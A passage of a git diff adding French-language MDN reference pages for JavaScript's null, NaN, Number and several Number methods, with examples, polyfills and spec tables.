+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.NaN")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Number.NaN")}}</li>
+ <li>{{jsxref("Number.isNaN()")}}</li>
+ <li>{{jsxref("isNaN", "isNaN()")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/%C3%89galit%C3%A9_en_JavaScript">L'égalité en JavaScript</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/null/index.html b/files/fr/web/javascript/reference/objets_globaux/null/index.html
new file mode 100644
index 0000000000..bab3a87310
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/null/index.html
@@ -0,0 +1,91 @@
+---
+title: 'null'
+slug: Web/JavaScript/Reference/Objets_globaux/null
+tags:
+  - JavaScript
+  - Littéral
+  - Primitive
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/null
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>La valeur <strong><code>null</code></strong> est un littéral JavaScript représentant la nullité au sens où aucune valeur pour l'objet n'est présente. C'est une des valeurs primitives de JavaScript.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-null.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">null</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>La valeur <code>null</code> est un littéral (et non pas une propriété de l'objet global telle que {{jsxref("undefined")}}). Dans certaines API, <code>null</code> est souvent utilisé en valeur de retour lorsqu'un objet est attendu mais qu'aucun objet ne convient. Lors de tests d'égalité avec <code>null</code> ou <code>undefined</code>, il faut faire attention aux <a href="/fr/docs/Web/JavaScript/Les_différents_tests_d_égalité_comment_les_utiliser">différences entre les opérateurs d'égalité faible (==) et stricte (===)</a> (on aura une conversion de type avec le premier).</p>
+
+<pre class="brush: js">// toto n'existe pas, n'a pas été défini et n'a jamais été initialisé
+toto;
+"ReferenceError: toto is not defined"
+
+// toto existe mais n'a ni type ni valeur
+var toto = null;
+console.log(toto); // null</pre>
+
+<h3 id="Différence_entre_null_et_undefined">Différence entre <code>null</code> et <code>undefined</code></h3>
+
+<pre class="brush: js">typeof null;           // "object" (pas null pour des raisons historiques)
+typeof undefined;      // "undefined"
+null === undefined;    // false
+null  == undefined;    // true
+null === null;         // true
+null  == null;         // true
+!null;                 // true
+isNaN(1 + null);       // false
+isNaN(1 + undefined);  // true
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-4.3.11', 'null value')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-null-value', 'null value')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-null-value', 'null value')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.null")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("undefined")}}</li>
+ <li>{{jsxref("NaN")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/epsilon/index.html b/files/fr/web/javascript/reference/objets_globaux/number/epsilon/index.html
new file mode 100644
index 0000000000..75bab809e7
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/epsilon/index.html
@@ -0,0 +1,76 @@
+---
+title: Number.EPSILON
+slug: Web/JavaScript/Reference/Objets_globaux/Number/EPSILON
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Number
+  - Propriété
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/EPSILON
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>Number.EPSILON</code></strong> représente la différence entre le chiffre 1 (un) et la plus petite valeur supérieure à 1 qui peut être représentée par un nombre en JavaScript.</p>
+
+<p>Il n'est pas nécessaire de créer un objet {{jsxref("Number")}} pour accéder à cette propriété statique, elle est accessible avec <code>Number.EPSILON</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-epsilon.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>La propriété <code>EPSILON</code> vaut environ <code>2.2204460492503130808472633361816E-16</code> (ce qui correspond à 2<sup>-52</sup>).</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Tester_une_égalité_mathématique_avec_un_seuil_de_précision">Tester une égalité mathématique avec un seuil de précision</h3>
+
+<pre class="brush: js">x = 0.2;
+y = 0.3;
+equal = (Math.abs(x - y) &lt; Number.EPSILON);</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<pre class="brush: js">if (Number.EPSILON === undefined) {
+  Number.EPSILON  =  Math.pow(2, -52);
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-number.epsilon', 'Number.EPSILON')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.epsilon', 'Number.EPSILON')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Number.EPSILON")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'objet {{jsxref("Number")}} auquel appartient cette propriété.</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/index.html b/files/fr/web/javascript/reference/objets_globaux/number/index.html
new file mode 100644
index 0000000000..c5894cb63a
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/index.html
@@ -0,0 +1,203 @@
+---
+title: Number
+slug: Web/JavaScript/Reference/Objets_globaux/Number
+tags:
+  - JavaScript
+  - Number
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <strong><code>Number</code></strong> est une enveloppe objet (<em>wrapper</em>) autour du <a href="/fr/docs/Web/JavaScript/Structures_de_données#Le_type_nombre">type primitif numérique</a>. Autrement dit, il est utilisé pour manipuler les nombres comme des objets. Pour créer un objet <code>Number</code>, on utilise le constructeur <code>Number()</code>.</p>
+
+<p>Le type JavaScript <code>Number</code> utilise <a href="https://fr.wikipedia.org/wiki/IEEE_754">une représentation binaire à précision double sur 64 bits telle que décrite par le standard IEEE 754</a>. Les implémentations plus récentes offrent un nouveau type : {{jsxref("BigInt")}} qui permet de représenter des entiers avec une précision arbitraire.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">new Number(valeur);
+var a = new Number('123'); // a === 123 donnera false
+var b = Number('123'); // b === 123 donnera true
+a instanceof Number; // donnera true
+b instanceof Number; // donnera false</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur numérique pour l'objet qu'on souhaite créer.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet <code>Number</code> est principalement utilisé dans les cas de figure suivants :</p>
+
+<ul>
+ <li>Si l'argument ne peut pas être converti en un nombre, il renverra {{jsxref("NaN")}}.</li>
+ <li>Dans un contexte de fonction simple (quand il n'est pas utilisé comme un constructeur avec l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}), <code>Number</code> peut être utilisé afin d'effectuer des conversions.</li>
+</ul>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("Number.EPSILON")}}</dt>
+ <dd>Le plus petit intervalle entre deux valeurs qu'il est possible de représenter en JavaScript.</dd>
+ <dt>{{jsxref("Number.MAX_SAFE_INTEGER")}}</dt>
+ <dd>La valeur entière maximale qu'on peut représenter en JavaScript (<code>2<sup>53</sup> - 1</code>).</dd>
+ <dt>{{jsxref("Number.MAX_VALUE")}}</dt>
+ <dd>La valeur numérique maximale qu'on peut représenter en JavaScript.</dd>
+ <dt>{{jsxref("Number.MIN_SAFE_INTEGER")}}</dt>
+ <dd>La valeur entière minimale qu'on peut représenter en JavaScript (<code>-(2<sup>53</sup> - 1)</code>).</dd>
+ <dt>{{jsxref("Number.MIN_VALUE")}}</dt>
+ <dd>La plus petite valeur qu'on peut représenter en JavaScript, c'est-à-dire le plus petit nombre positif (le nombre le plus près de zéro qui n'est pas égal à zéro et qu'on peut représenter en JavaScript).</dd>
+ <dt>{{jsxref("Number.NaN")}}</dt>
+ <dd>Une valeur spéciale pour représenter les valeurs non-numériques (<strong>NaN</strong> correspond à « <em><strong>n</strong>ot <strong>a</strong> <strong>n</strong>umber</em> » en anglais, qui signifie « n'est pas un nombre »).</dd>
+ <dt>{{jsxref("Number.NEGATIVE_INFINITY")}}</dt>
+ <dd>Une valeur spéciale pour représenter l'infini négatif.</dd>
+ <dt>{{jsxref("Number.POSITIVE_INFINITY")}}</dt>
+ <dd>Une valeur spéciale pour représenter l'infini (positif).</dd>
+ <dt>{{jsxref("Number.prototype")}}</dt>
+ <dd>Cet objet permet d'ajouter des propriétés aux instances de <code>Number</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("Number.isNaN()")}}</dt>
+ <dd>Cette méthode permet de déterminer si la valeur passée en argument vaut <code>NaN</code>.</dd>
+ <dt>{{jsxref("Number.isFinite()")}}</dt>
+ <dd>Cette méthode permet de déterminer si la valeur numérique passée en argument est un nombre fini.</dd>
+ <dt>{{jsxref("Number.isInteger()")}}</dt>
+ <dd>Cette méthode permet de déterminer si la valeur passée en argument est un entier.</dd>
+ <dt>{{jsxref("Number.isSafeInteger()")}}</dt>
+ <dd>Cette méthode permet de déterminer si la valeur passée en argument peut correctement être représentée comme un entier en JavaScript (savoir si elle est comprise entre <code>-(2<sup>53</sup> - 1)</code> et <code>2<sup>53</sup> - 1</code>).</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Number.toInteger()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Cette méthode est utilisée afin d'évaluer et de convertir la valeur passée en argument en entier (ou en l'{{jsxref("Infinity", "infini","",1)}}). Cette méthode a été supprimée.</s></dd>
+ <dt>{{jsxref("Number.parseFloat()", "Number.parseFloat(<var>string</var>)")}}</dt>
+ <dd>Cette méthode correspond à la méthode {{jsxref("parseFloat", "parseFloat()")}} de l'objet global.</dd>
+ <dt>{{jsxref("Number.parseInt()", "Number.parseInt(<var>string</var>, [<var>radix</var>])")}}</dt>
+ <dd>Cette méthode correspond à la méthode {{jsxref("parseInt", "parseInt()")}} de l'objet global.</dd>
+</dl>
+
+<h2 id="Les_instances_de_Number">Les instances de <code>Number</code></h2>
+
+<p>Toutes les instances de <code>Number</code> héritent de {{jsxref("Number.prototype")}}. Il est possible de modifier le prototype du constructeur <code>Number</code> pour affecter toutes les instances de <code>Number</code>.</p>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<div>
+<dl>
+ <dt>{{jsxref("Number.prototype.toExponential()" ,"Number.prototype.toExponential(<var>fractionDigits</var>)")}}</dt>
+ <dd>Retourne une chaîne représentant le nombre en notation exponentielle.</dd>
+ <dt>{{jsxref("Number.prototype.toFixed()", "Number.prototype.toFixed(<var>digits</var>)")}}</dt>
+ <dd>Retourne une chaîne représentant le nombre avec la notation virgule fixe.</dd>
+ <dt>{{jsxref("Number.prototype.toLocaleString()", "Number.prototype.toLocaleString([<var>locales</var> [, <var>options</var>]])")}}</dt>
+ <dd>Retourne une chaîne avec une représentation sensible à la langue de ce nombre. Surcharge la méthode {{jsxref("Object.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("Number.prototype.toPrecision()", "Number.prototype.toPrecision(<var>precision</var>)")}}</dt>
+ <dd>Retourne une chaîne représentant le nombre avec une précision donnée en notation virgule fixe ou exponentielle.</dd>
+ <dt>{{jsxref("Number.prototype.toString()", "Number.prototype.toString([<var>radix</var>])")}}</dt>
+ <dd>Retourne une chaîne représentant le nombre dans une base numérique (radix) donnée. Surcharge la méthode {{jsxref("Object.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("Number.prototype.valueOf()")}}</dt>
+ <dd>Retourne la valeur primitive de l'objet spécifié. Surcharge la méthode {{jsxref("Object.prototype.valueOf()")}}.</dd>
+</dl>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_lobjet_Number_pour_affecter_des_valeurs_numériques_à_des_variables">Utiliser l'objet <code>Number</code> pour affecter des valeurs numériques à des variables</h3>
+
+<p>Dans l'exemple suivant, on utilise les propriétés de l'objet <code>Number</code> pour affecter des valeurs à des variables numériques :</p>
+
+<pre class="brush: js notranslate">var plusGrandNombre = Number.MAX_VALUE;
+var plusPetitNombre = Number.MIN_VALUE;
+var infini = Number.POSITIVE_INFINITY;
+var infiniNégatif = Number.NEGATIVE_INFINITY;
+var nonNumérique = Number.NaN;
+</pre>
+
+<h3 id="Intervalle_entier_pour_Number">Intervalle entier pour <code>Number</code></h3>
+
+<p>Dans l'exemple suivant, on illustre les valeurs numériques maximales et minimales (exclues) qu'on peut représenter avec un nombre en JavaScript (pour plus de détails, <a href="https://tc39.github.io/ecma262/#sec-ecmascript-language-types-number-type">voir le chapitre 6.1.6 du standard ECMAScript</a>) :</p>
+
+<pre class="brush: js notranslate">var biggestInt = 9007199254740992; //Number.MAX_SAFE_INTEGER+1 (2<sup>53</sup>-1)
+var smallestInt = -9007199254740992; //Number.MIN_SAFE_INTEGER-1 -(2<sup>53</sup>-1)
+</pre>
+
+<p>Lorsqu'on analyse et convertit des données JSON, les valeurs en dehors de cet intervalle peuvent entraîner des erreurs ou des corruptions de valeurs lors de leurs conversions. Selon les objets qu'on souhaite représenter, on peut utiliser {{jsxref("String")}} dans certains cas pour représenter certaines valeurs.</p>
+
+<h3 id="Utiliser_Number_pour_convertir_un_objet_Date">Utiliser <code>Number</code> pour convertir un objet <code>Date</code></h3>
+
+<p>Dans l'exemple suivant, on convertit un objet {{jsxref("Date")}} en une valeur numérique grâce à la fonction <code>Number</code> :</p>
+
+<pre class="brush: js notranslate">var d = new Date('December 17, 1995 03:24:00');
+console.log(Number(d));
+</pre>
+
+<p>Ceci affichera "819167040000".</p>
+
+<h3 id="Convertir_une_chaîne_représentant_une_valeur_numérique_en_un_nombre">Convertir une chaîne représentant une valeur numérique en un nombre</h3>
+
+<pre class="brush: js notranslate">Number("123");       // 123
+Number("12.3");      // 12.3
+Number("12.00");     // 12
+Number("123e-1");    // 12.3
+Number("");          // 0
+Number("0x11");      // 17
+Number("0b11");      // 3
+Number("0o11");      // 9
+Number("toto");      // NaN
+Number("100a");      // NaN
+Number("-Infinity";) // -Infinity
+</pre>
+
+<div class="note">
+<p><strong>Note  :</strong> On pourra également convertir <code>null</code> en <code>0</code> grâce à <code>Number</code> : <code>Number(null)</code> donnera <code>0</code>.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7', 'Number')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number-objects', 'Number')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Ajout des méthodes et propriétés suivantes : ({{jsxref("Number.EPSILON", "EPSILON")}}, {{jsxref("Number.isFinite", "isFinite")}}, {{jsxref("Number.isInteger", "isInteger")}}, {{jsxref("Number.isNaN", "isNaN")}}, {{jsxref("Number.parseFloat", "parseFloat")}}, {{jsxref("Number.parseInt", "parseInt")}})</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number-objects', 'Number')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Number")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("NaN")}}</li>
+ <li>L'objet global {{jsxref("Math")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Structures_de_données#Le_type_nombre">Les types de données en JavaScript</a></li>
+ <li><a href="https://medium.com/@maximus.koretskyi/javascripts-number-type-8d59199db1b6#.9whwe88tz">Un billet sur le type <code>Number</code> (en anglais)</a></li>
+ <li>Représenter de grands entiers avec une précision arbitraire : {{jsxref("BigInt")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/isfinite/index.html b/files/fr/web/javascript/reference/objets_globaux/number/isfinite/index.html
new file mode 100644
index 0000000000..953e9d8958
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/isfinite/index.html
@@ -0,0 +1,115 @@
+---
+title: Number.isFinite()
+slug: Web/JavaScript/Reference/Objets_globaux/Number/isFinite
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Méthode
+  - Number
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isFinite
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>Number.isFinite()</code></strong> permet de déterminer si la valeur fournie est un nombre fini.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-isfinite.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">Number.isFinite(valeurÀTester);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeurÀTester</code></dt>
+ <dd>La valeur dont on souhaite savoir si elle est finie.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un booléen indiquant si la valeur passée en argument est un nombre fini.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Par rapport à la fonction de l'objet global {{jsxref("isFinite","isFinite()")}} qui convertit l'argument donné en un nombre, la fonction <code>Number.isFinite </code>ne convertit pas l'argument et ne renvoie pas <code>true</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js; notranslate">Number.isFinite(Infinity);  // false
+Number.isFinite(NaN);       // false
+Number.isFinite(-Infinity); // false
+
+Number.isFinite(0);         // true
+Number.isFinite(2e64);      // true
+
+Number.isFinite("0");       // false, ce qui aurait
+                            // renvoyé true avec isFinite("0")
+
+Number.isFinite(null);      // false, ce qui aurait
+                            // renvoyé true avc isFinite(null)
+</pre>
+
+<h2 id="Prothèse_démulation_polyfill">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<pre class="brush:js; notranslate">// Number.isFinite polyfill
+// http://people.mozilla.org/~jorendorff/es6-draft.html#sec-number.isfinite
+if (typeof Number.isFinite !== 'function') {
+    Number.isFinite = function isFinite(value) {
+        // 1. Si Type(number) n'est pas Number, on renvoie false.
+        if (typeof value !== 'number') {
+            return false;
+        }
+        // 2. Si le nombre est NaN, +∞, ou −∞, on renvoie false.
+        if (value !== value || value === Infinity || value === -Infinity) {
+            return false;
+        }
+        // 3. Sinon on renvoie true.
+        return true;
+    };
+}
+</pre>
+
+<p>Deuxième version plus concise qui utilise la méthode globale <code>isFinite</code></p>
+
+<pre class="brush: js notranslate">if (Number.isFinite === undefined) Number.isFinite = function(value) {
+    return typeof value === "number" &amp;&amp; isFinite(value);
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.isfinite', 'Number.isInteger')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.isfinite', 'Number.isInteger')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Number.isFinite")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'objet {{jsxref("Number")}} auquel appartient cette méthode</li>
+ <li>La méthode {{jsxref("isFinite", "isFinite()")}} de l'objet global</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/isinteger/index.html b/files/fr/web/javascript/reference/objets_globaux/number/isinteger/index.html
new file mode 100644
index 0000000000..447c80ede2
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/isinteger/index.html
@@ -0,0 +1,102 @@
+---
+title: Number.isInteger()
+slug: Web/JavaScript/Reference/Objets_globaux/Number/isInteger
+tags:
+  - JavaScript
+  - Méthode
+  - Number
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isInteger
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>Number.isInteger()</code></strong> permet de déterminer si l'argument est un nombre entier.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-isinteger.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Number.isInteger(valeurÀTester)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code><var>valeurÀTester</var></code></dt>
+ <dd>La valeur dont on souhaite savoir si elle est entière ou non.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un booléen qui indique si la valeur fournie en argument est un entier.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si la valeur à tester est un entier, cette méthode renvoie <code>true</code>, <code>false</code> sinon. Si la valeur est {{jsxref("NaN")}} ou l'infini ({{jsxref("Infinity")}}), la méthode renverra <code>false</code>. La méthode renverra également <code>true</code> pour les nombres flottants qui peuvent être représentés comme des entiers.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">Number.isInteger(1);         // true
+Number.isInteger(-100000);   // true
+Number.isInteger(0);         // true
+Number.isInteger(1.000)      // true
+// Number.isInteger(9…9999); // true, même si le nombre dépasse 32 bits
+
+Number.isInteger(0.1);       // false
+Number.isInteger(Math.PI);   // false
+
+Number.isInteger(-Infinity); // false
+Number.isInteger(true);      // false
+Number.isInteger(NaN);       // false
+Number.isInteger("10");      // false
+
+Number.isInteger(5.0);       // true
+Number.isInteger(5.000000000000001);// false
+Number.isInteger(5.0000000000000001); // true
+</pre>
+
+<h2 id="Prothèse_démulation_polyfill">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<pre class="brush: js">Number.isInteger = Number.isInteger || function(value) {
+    return typeof value === "number" &amp;&amp;
+           isFinite(value) &amp;&amp;
+           Math.floor(value) === value;
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.isinteger', 'Number.isInteger')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.isinteger', 'Number.isInteger')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Number.isInteger")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'objet global {{jsxref("Number")}} auquel appartient cette méthode.</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/isnan/index.html b/files/fr/web/javascript/reference/objets_globaux/number/isnan/index.html
new file mode 100644
index 0000000000..5915747056
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/isnan/index.html
@@ -0,0 +1,104 @@
+---
+title: Number.isNaN()
+slug: Web/JavaScript/Reference/Objets_globaux/Number/isNaN
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Number
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isNaN
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>Number.isNaN()</code></strong> permet de déterminer si la valeur passée en argument est {{jsxref("NaN")}}, avec un type {{jsxref("Number")}}. Cette version est plus robuste que la méthode de l'objet global {{jsxref("isNaN")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-isnan.html", "taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Number.isNaN(<var>valeurÀTester</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code><em>valeurÀTester</em></code></dt>
+ <dd>La valeur qu'on souhaite comparer à {{jsxref("NaN")}}.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un booléen qui indique si la valeur fournie en argument est {{jsxref("NaN")}}.</p>
+
+<h2 id="Description">Description</h2>
+
